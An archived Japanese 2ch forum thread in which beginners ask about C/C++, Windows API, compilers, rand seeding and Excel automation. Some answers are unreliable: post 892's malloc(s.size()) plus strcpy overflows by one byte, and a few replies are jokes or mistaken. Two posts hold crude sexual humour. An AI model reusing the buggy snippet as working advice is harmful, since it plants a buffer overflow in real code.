
インデックスや検索で探して、目次を同期すれば?

0738デフォルトの名無しさんNGNG
>>737
「同期」がクリックできなくなってます。目次にリンクがないって
ことなんですかねぇ?
0739デフォルトの名無しさんNGNG
>>738

うーんそうかも。ちなみに、CreateWindow()は、

\Platform SDK
 \User Interface
  \Windowing
   \Windows
    \Window Reference

にあるよ。
0740デフォルトの名無しさんNGNG
>>135
あきらめてWeb版を見れ。重いけど。
0741デフォルトの名無しさんNGNG
プログラムを書けると何ができるのですか?
0742デフォルトの名無しさんNGNG
>>741
カップラーメンだけで生きて行く術を身につけることが出来る。
0743デフォルトの名無しさんNGNG
VC6のスタンダードエディションって、最適化はできないの?
あと,VC4に比べてサイズが多きくなるのは、どうにもならないのかな?
0744>743NGNG
mingwはとてもちいさくなる
0745デフォルト名無しさんNGNG
プログラミングのこと全然わからないんですけど・・・。
まず何から勉強すればいいか教えてください。
あとプログラミングを学ぶことによってできるようになる選択肢みたいなの
も教えてください。
あと社会に出て役立つプログラミングも教えてください。

ぶしつけなお願いですいません。
0746しらかわよふねNGNG
とりあえず、インタプリタ系の言語でコンピュータの動き方という物を勉強してください。
BASICとか、Perlですね。

なんとなくコンピュータの動きという物が見えてきたら、BCB、Delphi、あまりおすすめしないけどVBのどれかでオブジェクト指向を感覚的に学んで、そこから先はご自由に。

でもって、必ず勉強すべきなのが、資料の検索の仕方、質問の仕方ですね。
とりあえず、こういう質問は毎回されている質問で、2chの過去ログの中にも山のようにあるんでそれを見ればこんな質問をしなくてすみました。
なんでもかんでも聞いてると教えて君と言われてしまいますので、質問するときはまず何か調べてからにしてください。

初心者という単語に甘えないでね。
0747デフォルト名無しさんNGNG
>>746
ウルセーよ!!説教するなら全部の質問にちゃんと答えてからにしろ!
ボケが!!!

きつくいってごめんね。
0748 NGNG
>>745
無の状態から(VC++とかVBとか持ってない場合)出来る
プログラムってHTML→JavaScript?
開発環境もメモ帳+エクスプローラーでいいわけだし。
0749名無>748NGNG
・・・HTMLってネタだろ?
0750Z80(3MHz)NGNG
>749
でも、スクリプトなら一応勉強できるよー。
でも僕は、JDK(JAVA)+メモ帳がお勧め。
0751デフォルトの名無しさんNGNG
初心者はPerlが良いんじゃない?
覚えるのは楽だしOOPが出来るし。
0752デフォルトの名無しさんNGNG
Perl で OOPですか?
おいしいスパゲティができそうね。

Pythonなんていかがでしょう?
0753デフォルトの名無しさんNGNG
VisualC++って必需かな?
gccじゃだめ?
いや、まだC++は始めてないんだけど。
gccは持っているんで。
0754デフォルトの名無しさんNGNG
gcc ってwinプログラミングできるの?
0755PC USERNGNG
>>754
!
C言語の開発環境さえあれば、
winや他のOSにだって対応できるんじゃなかったんですか?
0756SAGENGNG
>>753
とりあえずgccを使い込んでみて、もし不満に感じたら他を当たってみるんでよし。

>>754
出来る。

>>755
そーでもない。それを期待するならCodeWarriar辺りを使え。
0757デフォルトの名無しさんNGNG
Builderとか言ってる厨房氏ね。
略すならBCBと略せ。
0758ダメプログラマNGNG
ASPでVBのLenBと同じ機能の関数ってありますか?
やりたいことは、
「全角、半角の文字列に対しての半角n文字チェック」
です。
あいう→6桁
abc→3桁
というのをチェックしたいのです。
0759デフォルトの名無しさんNGNG
LenBはあるけど。。。
StrConvがないのが問題なんだよね?

こんなの見つけた。
http://dev.sfdata.ne.jp/VB/htdocs/msg10651.html
0760デフォルトの名無しさんNGNG
jbbs�d�j!!


0761デフォルトの名無しさんNGNG
Python ってなんて読むんでしょうか
0762100%確実情報NGNG
フィトンと読む。
0763デフォルトの名無しさんNGNG
>>762
こんなことして、何か楽しいのかな?
本当はパイソンです。
0764デフォルトの名無しさんNGNG
>>763
チガウヨ、「ピーソン」ダヨ・・・
0765デフォルトの名無しさんNGNG
フィトントーピドー
ダボー
0766デフォルトの名無しさんNGNG
http://www2a.biglobe.ne.jp/~gonta/progtop.htm#WINDOWS
ここのメモ帳ってのを指示通りに作ってるんですが
その2まで終わったところで実行して「開く」を
しようとしたらエラーになります。
(CPUが云々・・・)
Delphi5を使ってますがどうしてなんでしょうか?

procedure TForm1.Open1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
end;
end;
0767766NGNG
あう、ごめんなさい。
やっぱり出来るみたいです。(***.exeからなら)
よく調べずに質問してすみません。
0768デフォルトの名無しさんNGNG
int型 4バイトの処理系で 2^32 の 4294967296 を

unsigned int a = 4294967296;
printf("%d",a);

とすると0が表示されます。
4294967295 だと -1 になります。
32bitだし、表示されると思ったのですが、
なぜ0や-1になるのかがわかりません。

理由を教えてもらえませんでしょうか。
0769デフォルトの名無しさんNGNG
%u
0770デフォルトの名無しさんNGNG
>768
>とすると0が表示されます。

たとえば、符号なし整数で8ビットだと2の8乗で256通りのものが表現できる。
ということは、表現できるのは0〜255まで。
最後の256は入らない。それと同じこと。

>>4294967295 だと -1 になります。

%d    -> 符号あり
%u    -> 符号なし
%x %X -> 16進数

同じ数字をこの3種類を使って出力して、観察して見ろ。
0771768NGNG
なるほど、ようやくわかりました。
printf が分かってなかったんですね。
769さん770さんありがとうございます。逝ってきます。
0772デフォルトの名無しさんNGNG
>>771
解決したとこなんだが、-1 になるのはともかく 0 になるのは printf とは別問題だぞよ。
0773デフォルトの名無しさん NGNG
プログラムとは直接関係なく申し訳無いのですが、画像の使用についての質問です。
テーブルゲームに利用する画像、例えば麻雀の牌、将棋の駒、トランプの絵柄など
これらを直接スキャナで読み取り利用することは著作権等に引っかかるのでしょうか?
特に将棋の駒は書体に特徴がありますので、直接読み取った画像使用していいのか分かりません。
独自にマウス等で作成しなければならないのでしょうか。
ご教授の程、宜しくお願い致します。
0774768NGNG
772さん
あ、すみません。0になるのは4294967296だと
桁あふれで0になると思ったのです。
4294967295 は FFFFFFFF で、4294967296 だと 100000000で、
最上位桁はあふれてしまうという風に理解しました。
あってるでしょうか。
0775デフォルトの名無しさんNGNG
>>773
 微妙な問題だけど、不特定多数に配布するなら、権利者に
確認をとるのが一番でしょう。キャラクターには著作権はな
いという説もありますが、ディズニーのようにうるさいとこ
ろもありますからね。
0776772NGNG
>>774
うぃ。a = 4294967296; ってやると、その時点で a には 0 が入るってことやね。
0777773NGNG
製作メーカーに問い合わせてみます。
775さん、ご回答ありがとうございました。
0778デフォルトの名無しさんNGNG
2つのCファイルそれぞれで同じユーザ定義ヘッダファイルをインクルードして
多重定義エラーださない方法はどうすればいいのでしょうか?
0779デフォルトの名無しさんNGNG
インクルードガード
0780デフォルトの名無しさんNGNG


0781780NGNG
↑ごめん

>778
ヘッダファイルをこんな感じにする。
標準で付いてるヘッダも同じようなことをやってるよ。見てみ。

#ifndef ABC
#define ABC
/*ここにヘッダの内容*/
#endif

0782778NGNG
>781
その方法は質問する以前にやったんですが、
#defineってスコープがソース単位だから
ソースが変わると#defineの有効が切れて
多重定義かまします。当方デジユニ
0783778NGNG
つーか同じ方法でなぜstdioとかは多重定義にならないんだ?
0784781NGNG
>782
じゃ、わかんないや。

俺のコンパイラ (BCC5.5)で
aaa.c -> aaa.obj
bbb.c -> bbb.obj
aaa.obj + bbb.obj -> aaa.exe

(aaa.cとbbb.cは同じヘッダをインクルード)

しても多重定義にはならなかったけど。
コンパイルの環境に原因があるのかも。
0785778NGNG
781>
私も全く同じ構成でmakeしてます、
となるとおっしゃられる通りコンパイル環境っぽいですわ。
その前に781さんにお聞きしたいのですが、そちらでは
別々のファイルで同じ#defineを定義すると多重定義エラーでます?
こっちはファイルが違うと出ません、

メークファイル(簡略)↓
main:main.o sub.o
cc main.o sub.o -o main

main.o:main.c
cc -c main.c
sub.o:sub.c
cc -c sub.c
0786778NGNG
>別々のファイルで同じ#defineを定義すると多重定義エラーでます?
とは"a.c"と"b.c"のファイルそれぞれでインクルードしてる"c.h"内で
#define e と定義した時の事です。

0787781NGNG
>別々のファイルで同じ#defineを定義すると多重定義エラーでます?
>こっちはファイルが違うと出ません、

ちょっと質問の意味がわからないんだけど、
全く同じ内容のヘッダddd.hとeee.hがあって
aaa.cでddd.hをインクルード
bbb.cでeee.hをインクルード
してもエラーにはならないよ。

0788781NGNG
>>別々のファイルで同じ#defineを定義すると多重定義エラーでます?
>とは"a.c"と"b.c"のファイルそれぞれでインクルードしてる"c.h"内で
>#define e と定義した時の事です。

これだとエラーがでないよ。
というか、最初の778の質問はこの場合を指してると思ってたけど。

0789まるちめでぃあNGNG
ウィンドウズSDKでプログラムを書いてるんですけど
リストボックスコントロールのリストの中のどれかを選択した時
何てメッセージが来てるンですかすんまそんけど誰か教えて
0790778NGNG
>というか、最初の778の質問はこの場合を指してると思ってたけど。
説明不足でした。
多重定義せずに出来ないかな?と思っているのはヘッダ内のユーザ定義関数です。
0791デフォルトの名無しさんNGNG
>789
リストボックスで何かが起きると、WM_COMMANDが飛んできて、
LOWORD(wParam) 子ウィンドウID
HIWORD(wParam) 通知コード
lParam     子ウィンドウハンドル
になってる。
通知コードは、LBN_XXXXXX
"winuser.h"
#define LBN_ERRSPACE (-2)
#define LBN_SELCHANGE 1
#define LBN_DBLCLK 2
#define LBN_SELCANCEL 3
#define LBN_SETFOCUS 4
#define LBN_KILLFOCUS 5

メッセージのリファレンスは、英語だけどここに落ちてるよ。
Windows API documentation (size: 12.8M)
http://www.cs.virginia.edu/~lcc-win32/
0792まるちめでぃあNGNG
>>791
とてもとても多謝ですこんな親切に答えてくれる人がいるなんて
世の中捨てたもんじゃないですと真剣に考えた夜中の1時でした
0793781NGNG
>778
そういうことか。
関数を多重定義すればエラーになるね。

その関数だけ別ソースでコンパイルして、オブジェクトかライブラリにするとか。

どうしてもヘッダの形にしたいなら、
どちらか片方のソースで、ヘッダを呼ぶ前に #define ABC としておいて、
ヘッダに関数を書くときに
void function(void);/*プロトタイプ宣言*/
#ifdef ABC
void function(void){
/*関数を実行*/
}
#endif
としておけば、どちらのソースからも呼べるんじゃない。
0794778NGNG
>781
やはり呼び側でやらんとだめっすか・・・

当初これなんとかならんかな?と思ったのは
「出来るだけ呼び側に手順を踏ませたくない、かつ容易に」
って思惑からっだったんですけど。そう甘くはないっすね

深夜に質問に答えて頂いてありがとうございます。
PS:多分ライブラリ化で進めていくことになります。
0795ひるゆきNGNG
WindowsSDKとWindowsAPIはどう違うんでふか
0796デフォルトの名無しさんNGNG
http://www.ascii.co.jp/ghelp/04/000481.html
http://www.ascii.co.jp/ghelp/04/000482.html
0797( ´∀`)さんNGNG
プログラム板を見て自分もやってみたいと思ったんですけど、
何から手をつけていいのか・・・。

ど素人、糞初心者は何から始めたらいいですか?
返信お願いします。
0798デフォルトの名無しさんNGNG
何をやりたいかでしょ、まずは
そういえば昔ならこんな時N88-BASICで良かったのにね

( ´∀`)さんか…
0799初心者だけど、NGNG
>>797
ここ、役に立つかも。(C++/JAVAスレより転載)
http://cruel.org/freeware/hacker.html
0800デフォルトの名無しさんNGNG
マンコにチンコを挿入するにはどうしたらいいですか?
よろしければ、詳しい情報をお願いします。
すみません初心者で。
0801( ´∀`)さんNGNG
>>798・799
返信どうもありがとうございました。

Pythonっていうのから始めてみようと思います。
とにかく頑張ってやります!
0802デフォルトの名無しさんNGNG
>>800
まずは彼女をつくれ!
0803デフォルトの名無しさんNGNG
DirectSex Tutorial.

try{
HRESULT hr;

KanojoType Kanjo;
AnaType *Manko;

hr = CreateKanojo(&Kanojo);
if (FAILED(hr)) throw hr;

hr = Kanojo.EnumAna(SearchManko, &Manko);
if (FAILED(hr)) throw hr;
if (Manko == NULL) throw hr; // かま?

hr = g_Ore.Timpo.Wakeup(Kanojo);
if (FAILED(hr)) throw hr; // 萎えるなよ・・・。

while(!Manko->isWet())
{ 略 }

hr = g_Ore.Timpo.Insert(Manko);
if (FAILED(hr)) throw hr;

...
}
catch(...)
{
...
}
0804803NGNG
ぐは、ごめん。
技術版だったね。
0805デフォルトの名無しさんNGNG
>>794
というか、ヘッダーファイルに関数定義を入れちゃ駄目っす。
(定義とは、宣言と違い、実際の関数の実装のコードのこと)

どうしても入れざるを得ない場合は、
#ifndef HOGE_DEVELOP
int hoge(void);
#else
int hoge(void)
{
...
}
#endif

とかすると良いです。
もちろん、HOGE_DEVELOPを#defineして#includeする.cはひとつ
にしなければなりません。
0806デフォルトの名無しさんNGNG
すんませんコンパイラの使用方法をここで聞くのは場違いかもしれませんが。
gccで超初歩的なこのコードがビルドできません。

#include <iostream.h>

int main()
{
cout << "Hello, C++ Program !!" << endl;
return 0;
}

coutを使わなければ(printfを使ったCのコードなら)OKなんです。
ヘッダファイルに問題があるのでしょうか?
0807デフォルトの名無しさんNGNG
すんませんコンパイラの使用方法をここで聞くのは場違いかもしれませんが。
gccで超初歩的なこのコードがビルドできません。

#include <iostream.h>

int main()
{
cout << "Hello, C++ Program !!" << endl;
return 0;
}

coutを使わなければ(printfを使ったCのコードなら)OKなんです。
ヘッダファイルに問題があるのでしょうか?
0808デフォルトの名無しさんNGNG
>>807
そのソースは間違いではないと思います。
実際に私の環境ではコンパイルが出来ました。
コンパイルエラーを明記してくれないと、どういった対処をすれば良いか
具体的に教えられません。
恐らく#include<iostrem.h>の iostrem.h へのリンクが間違えているのでは
ないでしょうか?
0809デフォルトの名無しさんNGNG
訂正
iostrem.h
iostream.h
0810807NGNG
>808
馬鹿丁寧に書くと
A:\gds2k\include\g++-3
にiostream.hはあります。
んが。そもそも根本的に間違ってるかもしれないんですが、
コンパイルするファイルは、gccと同じフォルダになくては
いけないのでしょうか?
エラーメッセージは何だかよくわからないんです。
Creating Makefile.mkc...
Starting gcc...
A:\GDS2K\BIN\gcc.exe -O0 -gstabs+3 -DDEBUG -D_DEBUG -D_DEBUG_ -include "A:/GDS2K/include/mladebug.h" -c "A:/WINDOWS/Profiles/yukiya/デスクトップ/debug/a.cpp" -o "A:/WINDOWS/Profiles/yukiya/デスクトップ/debug/Debug/a.opp"
Build Termination...
Build End.
もしかしたらmladebug.hと言うのが間違いかも知れません。
なんかインストール時に移動させた気がします。
勿論ガイドに沿って、ですが。
よろしければmladebug.hの配置を教えていただけないでしょうか。
0811デフォルトの名無しさんNGNG
>>810
すまん、コンパイラとヘッダファイルの位置関係という以前に、
どういう環境、あるいは何と言うものを使って開発しているのかが
分からない。
俺はBorland C++ Compiler 5.5で出来た。
0812811NGNG
ちなみに、コンパイルするときには
bcc32 fine.cpp
でやった。gccはUNIXで使ったことがあるが・・・。
0813811NGNG
細かい訂正だが・・・
bcc32 fine.cpp
bcc32 file.cpp
0814デフォルトの名無しさんNGNG
JAVAやろうと思ってるのですが、
Win98と2000どちらがやりやすいとか
ありますでしょうか?
0815デフォルトの名無しさんNGNG
>>814
ないんじゃにあ?
0816807NGNG
>811
gcc Developer Station 2000
ってフリーウェアです。
あるいはもっと使いやすい物は何かあるんでしょうか?
金出してVisual C++を買ったほうがいいですかねえ?

と言いつつもう寝るのでsage。
レスどうもでした。
0817814NGNG
なら98にします。
NT系はややこしそうなので。
0818811NGNG
>>816
とりあえずVC++は、C++だけをやりたいなら必要ないと思う。
もっと機能を拡張した、高度なものを作りたいときは、
VC++を買うと良いでしょう。
基本を学びたいなら、フリーのデ十分だと思います。
0819デフォルトの名無しさんNGNG
>>814
どっちでも良いよ。
0820デフォルトの名無しさんNGNG
>>816
Borland C++ Compiler 5.5
http://www.borland.co.jp/cppbuilder/freecompiler/bcc55steps.html
よく分からんから、Borland C++ を使ってみては?
0821デフォルトの名無しさんNGNG
>>814
Winmeにしときな!
最高さ!
0822デフォルトの名無しさんNGNG
>>821
かわいそうに・・
0823デフォルトの名無しさんNGNG
いまjavaを勉強しているのですが、javaやめてc#に変更するのはどうでしょうか?C#はjavaをカバーできますか?ってかc#についてあんまりわかってないんですけどね・・・・
0824デフォルトの名無しさんNGNG
>>823
javaやっとけ
0825デフォルトNGNG
perl moduleのWin32-ADO-0.03のサンプルスクリプトを教えてください。

0826デフォルトの名無しさん NGNG
クラスってなんですか?
0827デフォルトの名無しさん NGNG
タコ以下の質問はここで聞いてくれ。
http://usagi.tadaima.com/2chbbs/subback.html
0828デフォルトの名無しさんNGNG
秀丸で作ったソースをftpでUnixに送ると改行文字が入ってしまう
のですが、どうしたらこれを避けられるでしょうか?教えていただ
けませんか。
0829デフォルトの名無しさんNGNG
>>828 ffftpのアスキーモードで転送しよう
0830デフォルトの名無しさんNGNG
vivi ユーザーなんですが改行ってどうやって取るの?
\nとか\rとか\r\nとかを痴漢してみたけど捕まりません。
設定もいろいろ試してみたんですが...

秀丸だと簡単だよね…ボソ
0831C++ 1年生NGNG
C++で、
キーボードから入力された数字によって処理を分けるとき、
cin >> a;
swichi(a){
case 1: 処理1; break;
case 2: 処理2; break;
case 3: 処理3; break;
defalult: 処理4; break;
}
とやったのですが、数字以外のものが入力されると暴走します。
数字以外の入力を制限する、または数字かどうかを判断する方法は
あるのでしょうか。
0832C++ 1年生NGNG
あ、a は int型にしてます。
0833デフォルトの名無しさんNGNG
一番安全なのは、一行読んで、strtolで変換して、
失敗したら最初からswitchさせないことじゃない?
0834828NGNG
>829
ありがとう。助かります。
0835デフォルトの名無しさんNGNG
なんで暴走するんだろ?
文字(1文字)が入力されるということは、a には
0〜255のいずれかの値が入るってことですよね。
そうするとdefault:が実行されるんじゃないの?
0836C++ 1年生NGNG
>>883
ありがとうございます。
持っている本にはstrtolに関してかいていないみたいなのですが、
型を変換する関数なんでしょうか。googleで検索したところ、
strtol(a, XX); のような感じで使われているっぽいですが、
XXには何を入れればいいのでしょうか。
0837デフォルトの名無しさんNGNG
>>836
コンパイラは何使ってるの?
0838C++ 1年生NGNG
>>837
Borland C++ Compilerです。
フリーのエディタといっしょに使ってます。
0839C++ 1年生NGNG
VC++なんかだと関数名入れるとヒントが出るんですよね。
やっぱり最初はそういうの使ったほうがいいんでしょうか。
でもお金ない・・・
0840デフォルトの名無しさんNGNG
>>839
自分の経験だけだけど、そのヒントは大して役に立ってない。
strcpy(char *, char *) みたいな感じで、引数の意味まで
は表示されないから。

0841デフォルトの名無しさんNGNG
http://www.microsoft.com/japan/developer/library/default.asp?URL=/japan/developer/library/vccore/_crt_strtol.2c_.wcstol.htm

とりあえず strtol については、こちらで。

でもオンラインは調べづらいね。書籍のリファレンスは
高いしなぁ。
0842SAGENGNG
>>840
ヘッダに書いてあるものなら、仮引数名と前後のコメントくらいは表示されん?
わかってて読まないとわけわからんのは確かだけど。

>>839
逆に最初はそういうのにに頼らないで、自力で調べる方がいいと思いマス。
0843デフォルトの名無しさんNGNG
>>840
そうですか?私は結構役に立つと思いますけど。

標準ライブラリ中の関数なんかはほとんど覚えてる
からいいですが、APIは覚えてられないですしね。
0844デフォルトの名無しさんNGNG
こういうときはアアダコウダ想像する前に、デバッガで
ステップ実行して変数の値とアドレス見てみるべし。
それが一番速い。つうか常識。
0845C++ 1年生NGNG
皆さんありがとうございます。

>>840
確かに。意味がわかっていないとしょうがないですね。

>>841
strtolについてはまだ???なんで、今からじっくり読むことにします。
恥ずかしながらmsdnライブラリの存在を知らなかったのですごく助かりました。

>>842
はい、自力でがんばります。
VC++買ったつもりでリファレンス本を買おうかと考えてます。
0846名無しさんNGNG
VBでネットワークゲームを作りたいと思っているんですが
ほとんどわからないので、説明をしているサイト又は本はないでしょうか?
0847デフォルトの名無しさんNGNG
>>846
VB以前にTCP/IPの勉強せい。
0848デフォルトの名無しさんNGNG
unix環境初心者です。
emacsを使いたいのですが、今まで使っていたエディタの影響で
Tab記号や改行コード、行番号が表示されず落ち着きません。
こういったカスタマイズをしたい場合、参考になる情報(へのポインタ)
はありませんか?入門本を読んでもそれらしい記述がみあたらない
ので困ってます…。もっともそういう使い方をするエディタじゃない
っていわれればそれまでですが。
0849デフォルトの名無しさんNGNG
プログラミングをこれからするなら、
どんな言語あいいですか?
Webで使えて、
オブジェクト指向でおねがいします。
0850849NGNG
あいい>がいい
0851デフォルトの名無しさんNGNG
java
0852デフォルトの名無しさんNGNG
php
0853VB厨房@MCSDNGNG
>>849
マジレスでVisualBasic6.0
クラスプログラミングをマスターした頃にはVB6の寿命が尽きてるだろうから。

そのときなら自分の判断で自分の目標にかなった言語を選択できるはず
0854ちゅう房NGNG
VC++でShellExcute関数を使っているんですけど
引数がある程度の長さを超えると実行できなくなってしまいます。
おそらくMAX_PATHまでなんでしょうけど、この制限をクリアして無限に長い引数を持たせて
ShellExcute関数を実行するいい方法はありませんでしょうか?
実行ファイルが実行できるならShellExcuteじゃなくてもいいです。
0855デフォルトの名無しさんNGNG
>>849
Visual Basic Script
0856デフォルトの名無しさんNGNG
>>849
Visual Basic for Applications
0857デフォルトの名無しさんNGNG
C++

CGIでもかまわないんでそ?>Web
0858830NGNG
>>831
cinは、
int a
cin>>a
とやると、int型の文字だけとりこんで
int型以外の文字はストリームに残す。
で、残されたものがint型じゃないので
いつまでもとりこまれず
無限に読み込みつづけるというわけ…じゃないかな。
getchar()か何かつければ暴走は止まると思うけど。
間違ってたらゴメンね。

>>830
わかる人誰か教えて。
0859デフォルトの名無しさんNGNG

0860849NGNG
いろいろありますね。
VB6.0かCGIてのもありですね、応用が利きそうなのは
C++だけど、いきなりは厳しそう。
0861デフォルトの名無しさんNGNG
JAVAにしとけ
0862C++2日目NGNG
C++でオブジェクトのポインタから、メソッドやプロパティを使用するとき、
foo->bar() と (*foo).bar という二つの書き方がありますよね?
みなさんはどちらを使いますか?
私の読んだ本では前者を使っていましたのですが、実際世の中はどうなんだろう、
と気になりましたので、質問させていただきました。
よろしくお願いします。
0863C++2日目NGNG
>>849さん
PHPにしたらどうですか?
0864>854NGNG
そりゃ設計ミスだよ。
別ファイルかパイプで渡したほうがいいよ。
0865デフォルトの名無しさんNGNG
>>849
PHPを出すならPerlと言う手もある。
0866デフォルトの名無しさんNGNG
>>862
普通は foo->bar()
0867初級者NGNG
VCでC言語の練習をしているのですが、
stdlib.hにあるrand関数の値はどうなっているのですか?
ある本にrandは0から32767までの値を返すとあるので
それを元にソースをかいたらどうも違うようなので。
知っている方がいましたらよろしくお願いします。
0868C++2日目NGNG
>>866さん
なるほど。普通はアロー演算子を使用するのですね。
それでは、私もアロー演算子を使用します。
どうもありがとうございました。
0869デフォルトの名無しさんNGNG
>>867
どう違うと感じたのですか?
rand関数の前に、srand関数で初期化しないといけない
みたいですが、やりました?
0870デフォルトの名無しさんNGNG
>>867
MSDNでも検索してみてね。
rand で検索するとでてくるよ。
0871166NGNG
srand(time(0));
0872867NGNG
>>870
僕のVCはMSDNを入れてないので
ヘルプが引けないのです。(MSDNだけCDがわれてしまって。)
>>869
そうでした。srand関数で初期化を忘れてました。
ありがとうございました。
0873デフォルトの名無しさんNGNG
僕のVCはMSDNを入れてないので
ヘルプが引けないのです。(VCだけワレていたので。)
0874デフォルトの名無しさんNGNG
うわっ、ワレだって。やばいじゃん。
フリーのコンパイラと開発環境を使えば良いのに。
墓穴掘ってらぁ。後でチクっとこ。
0875867NGNG
やっぱり駄目でした。なんで?

#include <stdio.h>
#include <stdlib.h> //rand関数の為
#include <time.h> //timeの為

int main(void)
{
int i;
long a;
srand((unsigned)time(NULL));
printf("今日の運勢を占いますか?\n");
printf("はい だったら1を いいえ なら2を入力してください。:");
scanf("%d",&i);
if(i == 1){

a = rand();
if(a >= 0 && a <= 6553)
printf("今日の運勢は大吉です。おめでとうございます。\n");
else if(a >= 6554 && a <= 13108)
printf("今日の運勢は中吉です。がんばりましょう!。\n");
else if(a >= 13109 && a <= 19659)
printf("今日の運勢は吉です。ぼちぼちです。\n");
else if(a >= 19660 && a <= 26216)
printf("今日の運勢は小吉です。努力しましょう!。\n");
else
printf("今日の運勢は凶です。気をつけてください。\n");
}
else
printf("終わり。\n");
return(0);
}

実行すると常に大吉になってしまいます。
どこかおかしいでしょうか?
ちなみにVCは割れではないです。
0876あっちの166(どこのかは秘密)NGNG
俺のところじゃ他のも出たよ。
しかし、乱数をそのまま使うか?
もし5つの分岐があるなら、
乱数を5で割ったあまり(0〜4)の数値を使わないか?
言語の1つ1つの要素を覚えていくのは良いが、
アルゴリズムに関しても勉強しないと、
構成するのに苦労するぜ。
0877867NGNG
>>876
えっまともに動きました?
なんで僕のは大吉しかでないんだろう?
乱数を5で割って使うのがいいんですか、勉強になります。
アルゴリズムも勉強します。
0878867NGNG
いやっ今度は何度実行しても中吉ばかりでます。
時間が関係あるのかな?
0879デフォルトの名無しさんNGNG
よくわからんが、時間を元にシードを作っているのでは?秒にしたら?

0880867NGNG
>>879
シードってなんですか?
0881879NGNG
乱数を発生させる'種'だよ。
0882デフォルトの名無しさんNGNG
コソタクトレンズ
0883デフォルトの名無しさんNGNG
a =rand(); の後に、
cout << a << '\n';
を入れてみたら、たしかに値は毎回異なってるよ。でも
差が +-100程度しか変化してない。

シードの設定で変わってくるかもしれない。他の方法と
しては a%5 で余りを算出して switch文を使ったらどうかな。

0884デフォルトの名無しさんNGNG
>>883
>>876でがいしゅつでした。スマソ。
0885デフォルトの名無しさんNGNG
あとMSDNはヤフオクで1000円〜2000円くらいで買えるし、
MSDN Onlineも使えるよ。

http://www.microsoft.com/japan/developer/default.asp
0886867NGNG
回答ありがとうございます。
あとシードの設定はどうやって変えるのですか?
何度もすみません。
0887デフォルトの名無しさんNGNG
http://piza.2ch.net/test/read.cgi?bbs=tech&key=978946000&ls=50
こんなスレッドあがってたにょ。
0888デフォルトの名無しさんNGNG
>>886
シードの設定というと・・?
0889C++初心者NGNG
char *型を要求する関数にstring型を渡したいのですが
どうすればよいのでしょうか?
c_str()はconst char*だと怒られてしまいます。
0890889NGNG
レスがないのでgoogleで検索し直してたのですが
驚くべきことにまっとうな方法は何一つないと書かれている
ページを見つけました。STLの設計思想上しょうがないとか。
WindowsのAPIに渡したかったのですが、どうしよう・・・。
0891デフォルトの名無しさんNGNG
>>890
厨房の意見だけど
string s="モナー";
(char *)s.c_str()ってchar *でキャストしちゃ不味いのかな?
0892デフォルトの名無しさんNGNG
>>891
どうしてchar* を要求しているか考えてみるといい。
普通は、char* の指し示す内容を変更する用事があるからそうなっている。
(そうでない場合は最初からconst char* を要求するように設計するべき)

その関数がchar* を要求するのが妥当ならば、何も考えず
char* p = malloc(s.size());
strcpy(p, s.c_str());
foo(p);
とかやるしかないかな?
0893889NGNG
>>891
そう、私もそれを真っ先に思いついたのですが
どうなんでしょうかね?上記のページでは全く触れられてなかったので
まずいような気がします。
なんか結論としてはstd::auto_ptr<>の配列版(auto_array<>)というのを自作するのが
簡単でよいらしいのですが、やはりC++なのだからSTLが使いたいです。
0894889NGNG
>>892
なるほど、やはりキャストはまずいんですか。
しかしSTLにはかなり期待してたんですが
いきなりなんかがっかりです。
0895デフォルトの名無しさんNGNG
>>894
それはSTLが悪いんじゃなくて const char* にしておかない
WinAPI が一方的に悪いんだってば。

どう考えてもconst char*で十分だろ、と勝手に判断したAPI相手なら
時々つい const_cast<char*>(s.c_str()) とかやってしまうけどね。
0896895NGNG
つか、それ以前にstringてSTLだったけか。どうでもいいことだけど。
0897デフォルトの名無しさんNGNG
ソースファイルを5個位に分けて、全てのファイルの全ての関数から見える広域変数を定義するにはどうしたらよいのでしょう。
0898デフォルトの名無しさんNGNG
STL ⊂ C++標準ライブラリ
std::string ∈ (C++標準ライブラリ - STL)
0899アクセス−エクセル作業者NGNG
初心者の質問スレということで、質問させていただいてよろしいでしょうか。
私は以下の<作業>の内容を実行しました。
しかし、<問題点>の内容に問題に悩んでいます。
誠にあつかましいお願いで恐縮ですが、<問題点>の解決について
何か情報がありましたら教えていただきたくお願い申し上げます。

<作業>
(1)Access97からSQL-SERVER6.0にアクセスし、あるRecordsetを取得
(2)その内容をローカルテーブルに書き、エクセルシートにエクスポート
(3)ところが、そのままでは書式が付けられないので・・・
(4)GetObject()でシートを開き、Excel.Applicationオブジェクトを
操作することによって書式を設定。
.SAVEメソッドにより、ワークシートをセーブ
しています。

<問題点>
セーブしたワークシートをユーザーさんに開いてもらいますと、
ワークシートが「非表示」になっているのです。
手動で再表示とすれば良いのですが、それでは失格でした。

マクロを探しても、この非表示を解決する手法が見つかりません。

どうかよろしくお願いいたします。
0900デフォルトの名無しさんNGNG
>>897
extern
0901デフォルトの名無しさんNGNG
>>899
worksheets(シートのインデックス).Visible = True

Excelだったら「マクロの記録」で吐き出されるコードを
"参考"にすると吉
0902デフォルトの名無しさんNGNG
■ ウルトラ初心者の質問スレ Ver3.0
http://piza.2ch.net/test/read.cgi?bbs=tech&key=986871745

(・∀・)900 コエタカラ ツクターヨ! ワル! カコイイ!!
0903デフォルトの名無しさんNGNG
アセンブラを勉強中なんですが、ソースプログラムをダウンロード出来る所知ってますか?
沢山のプログラムを見て勉強したいと思っています。
使用予定のマイコンはNEC78シリーズです。
知ってる人いたら教えてくれませんか?お願い致します。
レス数が900を超えています。1000を超えると表示できなくなるよ。